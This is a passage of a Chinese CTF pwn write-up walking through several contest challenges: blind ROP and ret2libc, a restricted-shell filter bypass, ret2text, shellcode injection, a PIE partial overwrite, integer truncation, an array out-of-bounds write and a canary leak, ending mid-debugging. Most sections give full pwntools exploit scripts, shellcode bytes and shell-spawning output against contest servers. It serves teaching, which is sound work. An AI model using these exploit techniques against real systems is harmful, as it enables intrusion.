p.sendline(payload)
p.recvuntil(b'\x7fELF')
log.info("puts address: 0x%x" % addr)
p.close()
return addr
except:
p.close()
log.info("bad: 0x%x" % addr)

得到call puts的地址 0x4006c9

下一步,pop_rdi地址有了,puts地址也有了,接下来就是把程序一段段的打印出来,组合成一个二进制文件

我们选取的段是0x400000-0x401000,因为plt段和text段都是在这个段里的

dump_file函数如下

def dump_file(buffer_size, gadget_addr, puts_addr, start_addr, end_addr):
result = b""
while start_addr < end_addr:
payload = b'a' * buffer_size
payload += p64(gadget_addr + 9) + p64(start_addr)
payload += p64(puts_addr)
try:
io = get_io()
io.sendline(payload)
data = io.recv(timeout=0.2)
io.close()
try:
log.info("%x --> %s" % (start_addr,data))
if data == b"\n":
result += b"\x00"
start_addr += 1
continue
result += data[:-1]
start_addr += len(data[:-1])
except:
result += b"\x00"
start_addr += 1
except:
io.close()
result += b"\x00"
start_addr += 1
with open('dump.bin', 'wb') as f:
f.write(result)
f.close()

最终保存为dump.bin,到此,就可以开始正常解题步骤了,将dump.bin拖入ida分析

虽然我们没有把got段dump下来,但是plt段中存在的偏移ida能自动解析,因此没必要把got段也dump下来

可以看到,这是start函数,第一个参数即为main函数,只是缺少了符号表而已,对于漏洞分析完全不是问题

可以看到这个函数就是一个很明显的溢出了

接下来就是ret2libc了,泄露puts地址

libc database search寻找对应的libc文件,如果无法确定是哪个的话,可以多泄露几个函数的地址,比如read,然后添加条件即可,有经验的话就知道,版本是2.23-0ubuntu11.2_amd64或2.23-0ubuntu11.3_amd64,因为其他的几个版本都太老了ctf比赛中几乎遇不到,然后就把这两个文件下载下来作为libc文件,挨个试,看哪个能打通就可以了,最终版本是2.23-0ubuntu11.3_amd64

exp:

from pwn import *
context.arch = 'amd64'
libc=ELF("./glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so", checksec = False)

def get_io():
io = remote('ctf.ctbu.edu.cn',33626)
# io = process("./brop")
io.recvuntil(b'You can tell me something here: \n')
return io

def get_buffer_size():
for i in range(1,300):
payload = b'a'*i
buffer_size = len(payload)
try:
io = get_io()
io.send(payload)
io.recvuntil(b'Okay, bye!')
io.close()
log.info("bad: %d" % buffer_size)
except :
io.close()
log.info("buffer_size: %d" % (buffer_size-1))
return buffer_size-1

def get_stop_addr(buffer_size):
addr = 0x400500
while True:
addr += 1
payload = b'a' * buffer_size + p64(addr)
try:
io = get_io()
io.sendline(payload)
response = io.recvuntil(b'Okay, bye!', timeout=2)
if b'Okay, bye!' in response:
io.close()
log.info("stop address: 0x%x" % addr)
return addr
else:
io.close()
log.info("bad: 0x%x - no message" % addr)
except Exception as e:
try:
io.close()
except:
pass
log.info("bad: 0x%x - error: %s" % (addr, str(e)))

def get_gadgets_addr(stop_addr, buffer_size):
addr = 0x4006d0
while True:
addr += 1
payload = b'a' * buffer_size + p64(addr) + p64(1)*6
try:
io = get_io()
io.sendline(payload + p64(stop_addr))
response = io.recvuntil(b'Okay, bye!', timeout=2)
if b'Okay, bye!' in response:
io.close()
log.info("gadgets address: 0x%x" % addr)
return addr
else:
io.close()
log.info("bad: 0x%x - no message" % addr)
except Exception as e:
try:
io.close()
except:
pass
log.info("bad: 0x%x - error: %s" % (addr, str(e)))

def get_puts_call_addr(buffer_size, gadget_addr):
addr = 0x4006c4
while True:
addr += 1
payload = b'a' * buffer_size
payload += p64(gadget_addr + 9) + p64(0x400000)
payload += p64(addr)
try:
p = get_io()
p.sendline(payload)
p.recvuntil(b'\x7fELF')
log.info("puts address: 0x%x" % addr)
p.close()
return addr
except:
p.close()
log.info("bad: 0x%x" % addr)

def dump_file(buffer_size, gadget_addr, puts_addr, start_addr, end_addr):
result = b""
while start_addr < end_addr:
payload = b'a' * buffer_size
payload += p64(gadget_addr + 9) + p64(start_addr)
payload += p64(puts_addr)
try:
io = get_io()
io.sendline(payload)
data = io.recv(timeout=0.2)
io.close()
try:
log.info("%x --> %s" % (start_addr,data))
if data == b"\n":
result += b"\x00"
start_addr += 1
continue
result += data[:-1]
start_addr += len(data[:-1])
except:
result += b"\x00"
start_addr += 1
except:
io.close()
result += b"\x00"
start_addr += 1
with open('dump.bin', 'wb') as f:
f.write(result)
f.close()

def exp():

# get_buffer_size() # 136
# get_stop_addr(136) # 0x4006c4
# get_gadgets_addr(0x4006c4,136) # 0x40075a + 9
# get_puts_call_addr(136,0x40075a) # 0x4006c9
# dump_file(136,0x40075a,0x4006c9,0x400000,0x401000)

io = get_io()
buffer_size = 136
pop_rdi = 0x40075a + 9
ret = pop_rdi + 1
puts_plt = 0x400520
puts_got = 0x601018
pd = b'a' * buffer_size
pd += p64(pop_rdi) + p64(puts_got)
pd += p64(puts_plt)
pd += p64(0x4006D5)
io.sendline(pd)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log.info("puts_addr: %x" % puts_addr)

libc_base = puts_addr - libc.symbols[b'puts']
log.info("libc_base: %x" % libc_base)
libc_system = libc_base + libc.symbols[b'system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))

pd = b'a'*136 + p64(ret) + p64(pop_rdi) + p64(bin_sh_addr) + p64(libc_system)
io.sendline(pd)

io.interactive()

if __name__=='__main__':
exp()

okabe系列题目:

easy_shell

考点: $0在部分情况下可以获得类似/bin/sh的效果,另外就是sh和/bin/sh等价

进/shell后,原意图是考察拼接指令绕过

选手视角:

IDA打开附件,看到框住的内容

这里由于出题人对于出题流程的不熟悉,所以选择静态编译的原因,看起来可能很难去理解它是怎么判断的(这里给各位新生磕一个)

实际上也可以去大致猜一猜,strcmp还是很常见的,我们看看它在搜索引擎里的解释:

它说strcmp是在对两个字符串内容进行比较,那么回到红框内容,到底是什么在和什么比较?

  if ( (unsigned int)j_strcmp_ifunc(v10, "$0")
&& (unsigned int)j_strcmp_ifunc(v10, "sh")
&& (unsigned int)j_strcmp_ifunc(v10, "/sh") )

大概看看就知道,是v10在和”$0″”sh””/sh”进行比较

v10又是什么呢?

  if ( !fgets(v10, 100LL, stdin) )
return 1;

这里,进行了fgets,它接受到的内容,就会被存到v10这个字符数组中

比较对了,就能进一步往下走

也就是进入filtered_shell()函数

然后输出提示信息

就算,你没想过搜strcmp是怎么个事

也没看懂逻辑是什么情况

那你看到它专门提出了”$0″”sh””/sh”

就输入试试看嘛

#结果就是:
Enter your command: sh
Privileges elevated! Starting restricted shell...
Restricted shell. ls is allowed, but some commands are blocked.
Try to get the flag, but remember: direct access is blocked!
$

你看,进后面的filtered_shell()函数了吧

好了,现在呢,我们在IDA里双击这个函数

跟进这个函数内容

确实很长很恶心很难看明白是怎么个事

但是

红框这里的判断逻辑还是很好认的吧

这里会把v8进行is_forbidden操作

好,那么我们继续跟进

这里就是这个程序第二关的判断黑名单,也就是说,你输入这里的任何一个内容都是不被允许的

其中,很多人惯用的cat好像没被禁用,为什么交互里还是不能用呢?

欸,这里你跟进unk_482010看看呢

所以cat是不能用的

那我们怎么获取到flag呢?

这里就要引出指令的拼接

实际上bing搜索都能搜到能用的文章()

第一个就是很好用的一篇

pwn中常见的绕过(以后见多了会慢慢更的,咕咕咕) – Falling_Dusk – 博客园

博客里面专门有过滤“cat”的绕过方法

跟着博客一个方法一个方法试就好了

大概预期流程是:

nc ctf.ctbu.edu.cn 34193
Enter your command: sh
Privileges elevated! Starting restricted shell...
Restricted shell. ls is allowed, but some commands are blocked.
Try to get the flag, but remember: direct access is blocked!
$ ls
attachment
docker-entrypoint.sh
flag
$ cat flag
Command contains forbidden operations. Try another way.
$ c'a't flag #指令拼接绕过法
coctf{$0_1s_r1ght_981e8230-0763-4970-9796-fd3209b4dc21}
$ ls ; cat flag #另类的绕过检测的方法(博客里没有)
attachment
docker-entrypoint.sh
flag
coctf{$0_1s_r1ght_981e8230-0763-4970-9796-fd3209b4dc21}
$ A=ca; B=t; $A$B flag #博客里的第一种办法
coctf{$0_1s_r1ght_981e8230-0763-4970-9796-fd3209b4dc21}

当然,就算上面的所有你都没关注,你只是打开IDA了,然后找到main函数了,然后给了它相关函数的反编译代码内容

你随意刷给任何一个AI都能做出本题,比如豆包,kimi,chatgpt,grok等等等等

甚至做法还很多样

这里ai有很多种做法,比如:

两次$0提权,直接避免cat检测

效果如下:

nc ctf.ctbu.edu.cn 34193
Enter your command: $0
Privileges elevated! Starting restricted shell...
Restricted shell. ls is allowed, but some commands are blocked.
Try to get the flag, but remember: direct access is blocked!
$ $0
ls
attachment
docker-entrypoint.sh
flag
cat flag
coctf{$0_1s_r1ght_981e8230-0763-4970-9796-fd3209b4dc21}

很神奇吧,具体原理这里就不多说了,建议自行AI,实在不懂又好奇的,在群里找出题人okabe(

ret2text

考点:常规的ret2text

作为栈溢出的经典考点,ret2text是无数pwner的启蒙

当然,这里出题人得先致歉滑跪,在题干里添加了无效的信息(栈平衡),因为出题人误以为自己弄的64位架构了……Orz

说回题目

我们进main函数,F5反编译后,看到的就是这个情况

很空的main函数,就一个vuln()函数

双击跟进

ssize_t vuln()
{
_BYTE buf[24]; // [esp+Ch] [ebp-1Ch] BYREF

printf("Enter your payload: ");
return read(0, buf, 0x64u);
}

这里出现了我们所关心的漏洞点

read函数的栈溢出漏洞

代码中定义了一个栈上的缓冲区 buf,大小为 24 字节_BYTE buf[24])。但随后调用 read(0, buf, 0x64u) 时,要求从标准输入(0 表示标准输入)读取 0x64 字节(即 100 字节)buf 中。

显然,100 字节的输入远大于缓冲区 24 字节的容量,多余的数据会 “溢出” 缓冲区

那么现在回到栈溢出这个话题,什么是栈溢出

刚刚说到了,输入的内容远大于buf的容量,多余数据会溢出缓冲区,而这部分多余的数据,会往高地址的部分进行存放,也就是会覆盖原本它们存放的内容,存入你放入的数据内容,不管是垃圾数据也好,你刻意修改的恶意数据地址也好,都会写进去

栈上的布局大概就是下面这样

高地址   |||[返回地址]   // 函数执行完后要回到的位置
|||[基指针ebp] // 保存的栈底指针
低地址 |||[buf] // 24字节缓冲区(低地址方向)

那么如果,你填充完buf内容,再覆盖掉ebp的指针内容

然后就到了返回地址存放的区域

如果你传入一个你精心找到的内存地址内容,它会怎么样呢?

当然是去执行你那个地址上的内容

我们看到func窗口有win函数字样,点进去看看

system(“/bin/sh”)

也许你不知道这是什么意思,但是你搜一搜呢

实际上随便搜搜就知道这是一个打开shell的system调用

那如果,我们将返回地址篡改成win()函数的地址

是不是就会让程序的执行流程走到我们想要的地方去?

不如直接开始试一试

配置好基本的pwn脚本环境

(你理应在前面的题目里配置好才对)

from pwn import *
io = process("./text")
payload = b'a'*(28 + 4) + p32(0x08049196)
io.sendline(payload)
io.interactive()
[x] Opening connection to ctf.ctbu.edu.cn on port 34196
[x] Opening connection to ctf.ctbu.edu.cn on port 34196: Trying 172.30.254.48
[+] Opening connection to ctf.ctbu.edu.cn on port 34196: Done
[*] Switching to interactive mode
Enter your payload: cat flag
coctf{ret2flag_640a465c2af5}

后话:如果有工具小子,用妙妙小工具能一把梭

$ python pwnpasi.py -l ../first_question/text -ip ctf.ctbu.edu.cn -p 34196


____ ____ _
| _ \ __ ___ _| _ \ __ _ ___(_)
| |_) |\ \ /\ / / '_ \ |_) / _` / __| |
| __/ \ V V /| | | | __/ (_| \__ \ |
|_| \_/\_/ |_| |_|_| \__,_|___/_|

Automated Binary Exploitation Framework v3.0
by Security Research Team
https://github.com/heimao-box/pwnpasi

[*] [09:44:09] target binary: ./../first_question/text
[*] [09:44:09] remote target: ctf.ctbu.edu.cn:34196
[*] [09:44:09] detecting libc path automatically
[+] [09:44:09] libc path detected: /lib/i386-linux-gnu/libc.so.6

┌────────────────────────────────────────────────────────────┐
│ BINARY ANALYSIS PHASE │
└────────────────────────────────────────────────────────────┘
[*] [09:44:09] setting executable permissions
[*] [09:44:09] collecting binary security information
[*] [09:44:09] collecting binary information

┌────────────────────────────────────────────────────────────┐
│ BINARY SECURITY ANALYSIS │
└────────────────────────────────────────────────────────────┘
Feature | Status | Risk Level
---------------------------------------------------
RELRO | Partial RELRO | MEDIUM
Stack Canary | No canary found | HIGH
NX Bit | NX enabled | LOW
PIE | No PIE (0x8048000) | MEDIUM
RWX Segments | Unknown | LOW


┌────────────────────────────────────────────────────────────┐
│ FUNCTION ANALYSIS │
└────────────────────────────────────────────────────────────┘
[*] [09:44:10] scanning PLT functions
[*] [09:44:10] analyzing PLT table and available functions

┌────────────────────────────────────────────────────────────┐
│ FUNCTION ANALYSIS │
└────────────────────────────────────────────────────────────┘
Function | Address | Available
---------------------------------------------------
write | N/A | NO
puts | N/A | NO
printf | 08049060 | YES
main | 080491fe | YES
system | 08049070 | YES
backdoor | N/A | NO
callsystem | N/A | NO
[*] [09:44:10]

┌────────────────────────────────────────────────────────────┐
│ ROP GADGET DISCOVERY │
└────────────────────────────────────────────────────────────┘
[*] [09:44:10] searching for x32 ROP gadgets
[*] [09:44:10] searching for ROP gadgets (x32)

┌────────────────────────────────────────────────────────────┐
│ ROP GADGETS (x32) │
└────────────────────────────────────────────────────────────┘
Gadget Type | Address | Status
---------------------------------------------------
pop eax | N/A | NOT FOUND
pop ebx | N/A | NOT FOUND
pop ecx | N/A | NOT FOUND
pop edx | N/A | NOT FOUND
[*] [09:44:10]

┌────────────────────────────────────────────────────────────┐
│ PADDING CALCULATION │
└────────────────────────────────────────────────────────────┘
[*] [09:44:10] performing dynamic stack overflow testing
[*] [09:44:10] testing for stack overflow vulnerability

┌────────────────────────────────────────────────────────────┐
│ STACK OVERFLOW DETECTION │
└────────────────────────────────────────────────────────────┘
[*] Testing overflow: [██████████████████████████████] 100%[*] [09:44:10]
[+] [09:44:10] stack overflow detected! Padding: 32 bytes
[*] [09:44:10] performing assembly-based overflow analysis
[+] [09:44:10] stack size: 28 bytes
[+] [09:44:10] overflow padding adjustment: 32 bytes

┌────────────────────────────────────────────────────────────┐
│ VULNERABLE FUNCTIONS IDENTIFIED │
└────────────────────────────────────────────────────────────┘
[+] [09:44:10] vulnerable function: vuln

┌────────────────────────────────────────────────────────────┐
│ ASSEMBLY CODE ANALYSIS │
└────────────────────────────────────────────────────────────┘
[*] [09:44:10] disassembling function: vuln
080491c1 <vuln>:
80491c1: push ebp
80491c2: mov ebp,esp
80491c4: push ebx
80491c5: sub esp,0x24
80491c8: call 80490d0 <__x86.get_pc_thunk.bx>
80491cd: add ebx,0x2e27
80491d3: sub esp,0xc
80491d6: lea eax,[ebx-0x1fe4]
80491dc: push eax
80491dd: call 8049060 <printf@plt>
80491e2: add esp,0x10
80491e5: sub esp,0x4
80491e8: push 0x64
80491ea: lea eax,[ebp-0x1c]
80491ed: push eax
80491ee: push 0x0
80491f0: call 8049050 <read@plt>
80491f5: add esp,0x10
80491f8: nop
80491f9: mov ebx,DWORD PTR [ebp-0x4]
--
804925a: call 80491c1 <vuln>
804925f: mov eax,0x0
8049264: lea esp,[ebp-0x8]
8049267: pop ecx
8049268: pop ebx
8049269: pop ebp
804926a: lea esp,[ecx-0x4]
804926d: ret

0804926e <__x86.get_pc_thunk.ax>:
804926e: mov eax,DWORD PTR [esp]
8049271: ret

Disassembly of section .fini:

08049274 <_fini>:
8049274: push ebx
8049275: sub esp,0x8
8049278: call 80490d0 <__x86.get_pc_thunk.bx>
804927d: add ebx,0x2d77
8049283: add esp,0x8

┌────────────────────────────────────────────────────────────┐
│ STRING ANALYSIS │
└────────────────────────────────────────────────────────────┘
[*] [09:44:10] searching for /bin/sh string in binary
[*] [09:44:10] checking for /bin/sh string
[+] [09:44:10] /bin/sh string found in binary
[*] [09:44:10] testing for stack overflow vulnerability

┌────────────────────────────────────────────────────────────┐
│ STACK OVERFLOW DETECTION │
└────────────────────────────────────────────────────────────┘
[*] Testing overflow: [██████████████████████████████] 100%[*] [09:44:10]
[+] [09:44:10] stack overflow detected! Padding: 32 bytes
[*] [09:44:10] performing assembly-based overflow analysis
[+] [09:44:10] stack size: 28 bytes
[+] [09:44:10] overflow padding adjustment: 32 bytes

┌────────────────────────────────────────────────────────────┐
│ EXPLOITATION PHASE │
└────────────────────────────────────────────────────────────┘
[*] [09:44:10] initializing exploitation attempts

┌────────────────────────────────────────────────────────────┐
│ REMOTE STACK OVERFLOW EXPLOITATION │
└────────────────────────────────────────────────────────────┘
[*] [09:44:10] targeting remote service at ctf.ctbu.edu.cn:34196

┌────────────────────────────────────────────────────────────┐
│ EXPLOITATION: ret2system - x32 Remote │
└────────────────────────────────────────────────────────────┘
[PAYLOAD] [09:44:10] preparing ret2system exploit
[*] [09:44:10] system address: 0x8049070
[*] [09:44:10] /bin/sh address: 0x804a008
[CRITICAL] [09:44:10] EXPLOITATION SUCCESSFUL! Dropping to shell...
Encat flag
coctf{ret2flag_640a465c2af5}

ret2shellcode

拿到附件

养成习惯,先看保护

Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

64位架构,基本上没有保护

IDA打开,main函数F5反编译

前面三行很普通,蛮常见的,暂且忽略

后面的几个函数还是蛮常规的,唯一显得有点陌生的只会是这个mprotect

为什么不搜一搜呢(实际上直接搜这一行的内容,就能搜到基本上小改动就能用的exp,母题wp参考[HNCTF 2022 Week1]ret2shellcode-CSDN博客

实在不行,直接问ai

okabe:mprotect((void *)((unsigned _int64)&bss_start & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7); 什么意思?

AI:这条代码的作用是:将 _bss 段起始地址所在的 4KB 内存页(向下对齐到 4KB 边界)设置为 可读、可写、可执行 权限

可读可写可执行,是任何电脑操作中相当高的权限了

而如果你满怀好奇心的双击了buff

欸?你看看它放置在哪的呢?

不就是bss段的吗,也就是说,buff里的内容,具有可读可写可执行的权限

那么我们想要获取到shell的话,也只需要往buff写入能够打开shell的内容就好

这个内容,被我们称之为shellcode

由于pwntools已经为我们集成了shellcode的编写操作

所以我们只需要调用就好了

好了,怎么控制好说,shellcode知道往哪放了,那怎么让程序流走到我们放置shellcode的位置呢?

还是栈溢出搭配覆盖返回地址的方法

我们在main函数里能看到数组s的长度是256,而架构是64位的,所以对应填充的垃圾数据是:256+8,也就是0x100+0x8 = 0x108

返回地址就是buff的地址

exp:

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

r = process("./attachment")


buff_addr = 0x404080

shellcode = asm(shellcraft.sh()) #利用pwntools生成shellcode
# shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
ret = 0x0000000000401016


payload = shellcode.ljust(0x108, b'a') +p64(buff_addr)

r.sendline(payload)
r.interactive()

这里给出了另外一个短shell方法,这个操作在下题里同样适用

shellcode_pro

考点:考察限制长度的shellcode

交互时的中文内容虽然有点谜语人性质

但是感觉还是很明显

$ ./attachment
八奈见杏菜最近感觉自己又穿不下以前的衣服了
她向温水诉苦,温水看了看她
暗暗想道,“有的衣服只能由小暴食海獭穿上呢”
然后想了想怎么才能不让老八继续折腾
回道:“应该是衣服缩水了吧”
What's this : [0x7ffd7dd1f4e0] ?
Maybe it's useful ! But how to use it?

想的是衣服缩水了,暗示shellcode的长度受到了限制,变小了

思路还是类似的,栈溢出,覆盖返回地址

唯一的差别就是shellcode的长度受限了

这里就需要选手自己通过搜索去找短的shellcode

实际上,意识到了是shellcode的长度限制后,很好找的

这里的64位短shellcode就是直接可用的

exp里还有一份随手搜到的汇编级的shellcode,asm方法就可用了

exp:

from pwn import *

context(arch='amd64', os='linux' , log_level = 'debug')


p = remote("ctf.ctbu.edu.cn", 32779)
# 启动本地程序
# p = process('./attachment')

# 接收输出直到"What's this : [",然后提取buf的地址
p.recvuntil("What's this : [")
buf_addr_str = p.recvuntil(b']', drop=True)
buf_addr = eval(buf_addr_str)

# 计算偏移量:buf到返回地址的距离为0x10(buf大小) + 8(保存的rbp) = 24字节
offset = 24

# 23字节的shellcode,用于执行execve("/bin/sh", 0, 0)
# shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'

shellcode = asm(""" xor rsi, rsi
push rsi
mov rdi, 0x68732f2f6e69622f
push rdi
push rsp
pop rdi
mov al, 59
cdq
syscall """)

#网上随手搜的短shellcode

# 构造payload:填充字节、返回地址(指向shellcode起始位置)、shellcode
payload = b'A' * offset + p64(buf_addr + offset + 8) + shellcode

# 发送payload
p.send(payload)

# 切换到交互模式
p.interactive()

pie学长与学妹不得不说的二三事

题目名称叫pie,考点是啥应该很明晰了

out函数是出题人脑子抽了写的不重要的文字内容

不过还是提到了有什么东西没变

如果选手有去搜索pie保护

去了解pie保护后,就知道

PIE全称是position-independent executable,中文解释为地址无关可执行文件,该技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址,从而不能通过ROPgadget等一些工具来帮助解题。

我们知道,内存是以页载入机制,如果开启PIE保护的话,只能影响到单个内存页,一个内存页大小为0x1000,那么就意味着不管地址怎么变,某一条指令的后三位十六进制数的地址是始终不变的。因此我们可以通过覆盖地址的后几位来可以控制程序的流程

好,知道这么多,我们跟进func1看看

很标准的栈溢出漏洞点

另外,我们也很容易在函数栏那里看到存在backdoor函数

跟进backdoor可以看到

那思路还是很明确了,就是栈溢出覆盖返回地址到backdoor函数

但是pie机制不是说好是随机化地址的吗,那我们怎么确定backdoor在运行时的地址?

实际上,如果你切换到text view视图

去观察main函数和backdoor函数,就会发现两个函数是在同一内存页上的

那么,如果程序进入main函数了,对应的栈指针就在main上,那么你只要覆盖返回地址的后两位(因为这里都是0x12xx)

所以思路还是蛮明确的,0x28先填充满buf(你都看pie这题了,应该知道为什么是0x28吧……不理解还是想理解的,联系出题人)

然后p8覆盖地址的后两位,这样由于当前的栈指针前面的几位全是和backdoor一致的,只改后两位就能做到跳转backdoor函数

好了,这里又要引出另外一个问题:

为什么不直接跳转到0x124C

当我们通过漏洞覆盖返回地址时,程序的栈状态是固定的(由漏洞触发时的上下文决定)。如果直接跳转到0x124C(函数起始地址),会执行push rbp指令 —— 这条指令会将当前rbp的值压入栈中,修改栈的布局

如果此时栈的状态与backdoor函数预期的栈帧不匹配(比如栈顶位置不对),push rbp可能会覆盖关键数据,或导致后续mov rbp, rsp设置的栈基址错误,最终导致call _system时参数传递失败(无法正确找到"/bin/sh"的地址),甚至程序崩溃。

所以这个时候,我们玩点赖皮的,我们直接跳到

.text:0000000000001250                 lea     rax, command    ; "/bin/sh"

这里就直接调用system(“/bin/sh”)了

🆗,要素集齐了,exp如下:

from pwn import *
#context.log_level='debug'

#p = process('./attachment')
p = remote("ctf.ctbu.edu.cn",33814)
payload = b'a'*0x28 + p8(0x50)
p.send(payload)
p.interactive()
coctf{Your_love_has_never_changed_like_pie_[GUID]}

Trunc

整体功能

结合栈布局,main 函数执行流程(反编译逐句对应):

  1. 初始化与欢迎界面:调用 print_welcome(argc, argv, envp)(实际无参数依赖,仅打印欢迎信息);
  2. 读取姓名:
    • 调用 printf(&format) 打印 “请输入你的名字:”;
    • 调用 fgets(s, 32, _bss_start) 读取姓名(_bss_start 对应标准输入 stdinfgets 限制最多读 32 字节,无栈溢出风险);
    • 调用 strcspn(s, "\n") 找到换行符并置 0,移除输入中的换行;
  3. 读取魔法编号:
    • 调用 printf(&byte_4020E6) 打印 “请输入你的魔法编号:”;
    • 调用 __isoc99_scanf("%llu", &v4) 读取 64 位无符号整数到 v4
  4. 魔法编号截断:执行 v6 = v4__int64int,64 位数值截断为 32 位,高 32 位被丢弃);
  5. 信息打印与权限校验:
    • 调用 printf(asc_402110, s, (unsigned int)v4):格式化输出姓名与魔法编号,其中 (unsigned int)v4 显式将 64 位 v4 转为 32 位无符号整数,进一步验证截断逻辑;
    • 调用 is_admin(v4) 并判断返回值:若为真则调用 get_flag(),否则打印 byte_402140(权限不足);
  6. 程序退出:返回 0。

is_admin 函数反编译分析(权限校验核心)

反编译代码:

_BOOL8 __fastcall is_admin(int a1)
{
return a1 == 322420958; // 关键:32位整数对比,322420958 = 0x1337c0de(十六进制)
}
  • 参数类型a1int(32 位),但调用时传入的是 v4__int64,64 位)—— 此处存在隐式截断:64 位 v4 传入 32 位参数 a1 时,编译器自动丢弃高 32 位,仅保留低 32 位;
  • 校验逻辑:仅当截断后的 32 位数值等于 322420958(十进制)时,返回真(_BOOL8 即 64 位布尔值,真为非 0,假为 0);
  • 关键结论:管理员魔法编号的 32 位值为 322420958(十六进制 0x1337c0de),这是权限绕过的核心目标值。

漏洞类型:64 位→32 位整数截断漏洞

从反编译代码中可定位两处完全独立的截断逻辑,均导致 “输入的 64 位魔法编号被强制转为 32 位”:

  1. 显式截断main 函数中 v6 = v4__int64int),高 32 位直接丢弃;
  2. 隐式截断is_admin(v4) 调用时,64 位 v4 传入 32 位参数 a1,编译器自动截断高 32 位。

两处截断的共同结果:程序实际校验的是 “输入 64 位数值的低 32 位”,而非完整的 64 位数值 —— 这是漏洞利用的核心前提。

漏洞利用条件(反编译视角)

只要满足以下条件,即可绕过 is_admin 校验:

  • 输入的 64 位魔法编号(存储在 v4 中)的低 32 位值 = 322420958(十进制);
  • 高 32 位值可任意(因为截断时会被丢弃,不影响校验结果)。

例如:

  • 64 位数值 322420958(十六进制 0x000000001337c0de):低 32 位为目标值,高 32 位为 0;
  • 64 位数值 0xdeadbeef1337c0de(十进制 13134307283877666014):低 32 位为 0x1337c0de(即 322420958),高 32 位为 0xdeadbeef,均满足条件。

exp:

from pwn import *

# 目标二进制文件
binary = './magic_verify'

# 创建进程,设置编码为ASCII避免字节警告
# p = process(binary)
# 远程连接时使用下面这行
p = remote('ctf.ctbu.edu.cn',33983)

# 管理员魔法编号的32位值
# ADMIN_MAGIC = 0x1337c0de
# 构造64位数值,低32位为ADMIN_MAGIC
# payload = ADMIN_MAGIC | (0xdeadbeef << 32)


#简版payload
payload = 322420958

p.sendline(b'Hacker')


p.sendline(str(payload).encode())


p.interactive()

时间跳跃机器

这题的main函数代码好长,我们直接看关键节点吧

这里,判断secret_flag == 0x7FFFFFFF就能拿到shell

好,那我们直接找secret_flag是怎么个事

一看,位于bss段,再往上翻翻呢?

world_line_params是不是和secret_flag相隔得很近?

这里就要引出一个漏洞点了

数组越界

具体漏洞原理建议自行搜索了解,没看懂的联系出题人

这里直接讲解这题的应用

我们可以跟着main函数的视角

看到存在一个modify_param函数

跟进

int __fastcall modify_param(unsigned int a1, unsigned int a2)
{
world_line_params[a1] = a2;
return printf(&byte_402043, a1, a2);
}

关键信息提取:

  • 参数类型:a1(索引)和a2(新值)均为unsigned int(无符号整数),而非之前默认的signed int → 影响:输入的 “索引” 会被当作无符号数处理 —— 若输入负数(如-1),会自动转换为超大无符号数(如0xFFFFFFFF),导致访问远超预期的内存地址,无法通过负数索引向前越界,只能通过正数索引向后越界(如11)。
  • 漏洞点实锤:函数内无任何索引校验逻辑(如a1 < MAX_PARAMS),直接执行world_line_params[a1] = a2—— 无论a1多大,均会直接访问数组对应偏移的内存,数组越界漏洞完全确认

结合main函数与modify_param的调用关系,漏洞利用路径就出现了:

  1. 用户在main函数选菜单 2,输入 “索引”v3unsigned int)和 “新值”v4unsigned int);
  2. main函数直接调用modify_param(v3, v4),无任何参数预处理;
  3. modify_paramv3作为索引,直接修改world_line_params[v3]—— 若v3=11,则精准修改secret_flag

好,出现了一个问题,为什么是11?

在上面的图上,我们可以看到world_line_params 离 secret_flag 的距离很近,它们地址的差值为 0x408C-0x4060=0x2c =44字节。 由于整型数组每个元素占4字节,故需要将数组索引调⾄44/4 = 11便可越界到 secret_flag 写⼊内容。

只要在secret_flag里写上0x7FFFFFFF

我们就能拿到shell

exp:

from pwn import *


# p = process('./steins_gate')

p = remote('ctf.ctbu.edu.cn', 33962)

# 计算secret_flag相对于数组的偏移量
offset = 11

# 目标值:0x7FFFFFFF
target_value = 0x7FFFFFFF

# 发送修改参数的请求(使用字节类型)
p.sendlineafter(b"> ", b"2") # 选择修改参数功能
p.sendlineafter(b": ", str(offset).encode()) # 输入偏移量作为索引
p.sendlineafter(b": ", str(target_value).encode()) # 设置目标值

# 交互获取shell
p.interactive()

金丝雀与你的简历

这题叫金丝雀,前面查保护的时候

有细心的同学肯定发现了一个叫canary的保护机制

而canary就是金丝雀的英文

Canary(金丝雀)保护机制是一种防御栈缓冲区溢出漏洞的安全技术,其核心思想是在栈中易被篡改的关键数据(如函数返回地址)前,插入一个特殊的 “哨兵值”(即 Canary 值),通过检测该值是否被篡改,来判断是否发生缓冲区溢出,从而阻止恶意代码执行。

要想在canary保护机制下完成栈溢出,方法还是很多样的

这里只讲最简单的做法

也就是依靠格式化字符串漏洞,泄露canary,然后先填充垃圾字节后,再发送原canary值,再完成溢出,返回到你想要的函数地址

好了,那格式化字符串漏洞怎么弄?

懒得讲这个小知识点了

CTFer成长日记11:格式化字符串漏洞的原理与利用 – 知乎

链接讲得很清楚了

现在我们先来找canary在栈上的位置

这个稳妥的找法肯定是gdb动调

gdb ./attachment
pwndbg>b *0x4013BB #break 下断点,这里的0x4013BB是call _printf的地址,这里这样调更快而已
pwndbg>r #run 运行

pwndbg> canary
AT_RANDOM = 0x7fffffffe099 # points to (not masked) global canary value
Canary = 0x8853ad50cb138900 (may be incorrect on != glibc)
Thread 1: Found valid canaries.
00:0000│-358 0x7fffffffd888 ◂— 0x8853ad50cb138900
Additional results hidden. Use --all to see them.

这里可以看到这一次运行的canary = 0x8853ad50cb138900 (canary本质上是从fs寄存器里取出来的随机值,所以每次的值不一样)

这个时候,再结合功能选项1里存在的格式化字符串漏洞进行栈上位置的泄露

先ni,步进到输入username处

pwndbg> 
